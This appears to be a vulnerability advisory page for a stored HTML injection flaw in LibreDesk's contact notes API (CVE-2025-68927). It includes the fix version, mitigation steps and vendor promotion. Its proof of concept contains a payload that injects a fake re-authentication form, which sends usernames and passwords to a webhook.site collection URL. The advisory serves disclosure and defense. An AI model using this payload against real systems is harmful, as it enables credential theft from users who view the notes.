Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹 Go

GHSA-wh6m-h6f4-rjf4

Libredesk has Improper Neutralization of HTML Tags in a Web Page

Also known asCVE-2025-68927GO-2025-4243
Published
Dec 16, 2025
Updated
Dec 31, 2025
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk9th percentile+0.16%
0.00%0.23%0.46%0.69%0.0%0.2%Jan 26Apr 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐹github.com/abhinavxd/libredesk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

LibreDesk is vulnerable to stored HTML injection in the contact notes feature. When adding notes via POST /api/v1/contacts/{id}/notes, the backend automatically wraps user input in <p> tags. However, by intercepting the request and removing the <p> tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks.


Details

When notes are added through the LibreDesk web application, the client sends note content wrapped inside <p> tags. The backend appears to trust this HTML structure and stores the content as-is.

By intercepting the request to:

POST /api/v1/contacts/3/notes

and removing the <p> wrapper, an attacker can submit arbitrary HTML content. The backend does not sanitize or validate the HTML payload before persisting it.

As a result:

  • Arbitrary HTML tags (e.g., <form>, <input>, <img>) are stored
  • The injected HTML is rendered when the notes are viewed in the application
  • No server-side HTML sanitization or allowlisting is enforced

This indicates that the application relies on client-side HTML formatting assumptions, which can be bypassed by modifying the request.


PoC

  1. Log in to LibreDesk and open any contact.

  2. Add a note normally via the UI.

  3. Intercept the request to:

    POST /api/v1/contacts/3/notes
    
  4. Original request body (example):

    {
      "note": "<p>This is a normal note</p>"
    }
    
  5. Modify the payload by removing the <p> tag and injecting arbitrary HTML:

    {
      "note": "<form action='https://webhook.site/xxxx' method='POST'>
                 <input type='text' name='username' placeholder='Username'>
                 <input type='password' name='password' placeholder='Password'>
                 <input type='submit' value='Re-authenticate'>
               </form>"
    }
    
  6. Forward the request.

  7. View the contact note in the LibreDesk UI.

Result: The injected HTML form is rendered inside the application.


Impact

This is a stored HTML injection vulnerability affecting any user who can add or view contact notes.

Potential impact includes:

  • Credential phishing through injected forms
  • CSRF-style forced actions using HTML-only forms
  • UI redress and social engineering
  • Increased risk if notes are viewed by privileged users (e.g., admins or agents)

If the notes are shared across users or roles, this vulnerability can be abused to target multiple users, increasing severity.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/abhinavxd/libredeskall versions0.8.6-beta

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/abhinavxd/libredesk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/abhinavxd/libredesk to 0.8.6-beta or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-wh6m-h6f4-rjf4 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-wh6m-h6f4-rjf4 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-wh6m-h6f4-rjf4. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

### Summary LibreDesk is vulnerable to **stored HTML injection** in the contact notes feature. When adding notes via `POST /api/v1/contacts/{id}/notes`, the backend automatically wraps user input in `<p>` tags. However, by intercepting the request and removing the `<p>` tag, an attacker can inject arbitrary HTML elements such as forms and images, which are then stored and rendered without proper sanitization. This can lead to phishing, CSRF-style forced actions, and UI redress attacks. --- ### Details When notes are added through the LibreDesk web application, the client sends note content
O3 Security · Impact-Aware SCA

Is GHSA-wh6m-h6f4-rjf4 in your dependencies?

O3 detects GHSA-wh6m-h6f4-rjf4 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.